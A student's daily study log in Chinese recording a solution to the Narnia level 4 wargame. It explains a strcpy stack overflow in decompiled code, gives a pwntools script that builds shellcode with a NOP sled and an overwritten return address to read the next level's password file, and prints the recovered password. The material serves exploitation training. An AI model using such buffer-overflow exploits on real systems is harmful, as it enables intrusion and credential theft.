1625-5 王子昂 总结《2017年8月29日》 【连续第330天总结】
A. WarGames- Narnia4
B.
Level 4
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // eax@2
int v5; // [sp+1Ch] [bp-104h]@5
int i; // [sp+11Ch] [bp-4h]@1
for ( i = 0; *(_DWORD *)(4 * i + environ); ++i )
{
v3 = strlen(*(const char **)(4 * i + environ));
memset(*(void **)(4 * i + environ), 0, v3);
}
if ( argc > 1 )
strcpy((char *)&v5, argv[1]);
return 0;
}
environ是库中定义的环境变量指针
源程序的作用为先清空所有环境变量再将参数1Copy至局部变量v5中
这算是一个反提示吧,level2可以通过将ShellCode放在环境变量中的方式来call
不过同样也需要debug才能获得地址,所以我觉得两种call没啥区别啊
与level2同样方法,吸取地址会改变的教训,直接本地生成ShellCode后复制到远端执行,通过gdb得到esp地址后重新生成ShellCode溢出得到password即可
生成脚本为:
payload = asm(shellcraft.linux.cat('/etc/narnia_pass/narnia5'))
offset = (0x110 - len(payload)) * '\\x90'
payload ="".join(["\\x%02x" % ord(i) for i in payload+p32(0xffffd810)])
shellcode = ''' $(python -c 'print "''' + offset + payload + '''"')'''
print(shellcode)
其中,offset的长度为计算得到:由反编译可知v5位置为bp-0x104,但由于编译器优化时进行了对齐,因此可以先给出一个超长的offset(例如0x150,不过由于对齐通常只偏差小于16字节的长度,因此给出0x104+4+16即可),通过返回地址的错误值算出返回地址的位置
ffffd810为在gdb中debug得到局部变量v5的地址,通过NOP sled可以降低精度要求
运行得到password:
faimahchiy
C. 明日计划
Narnia5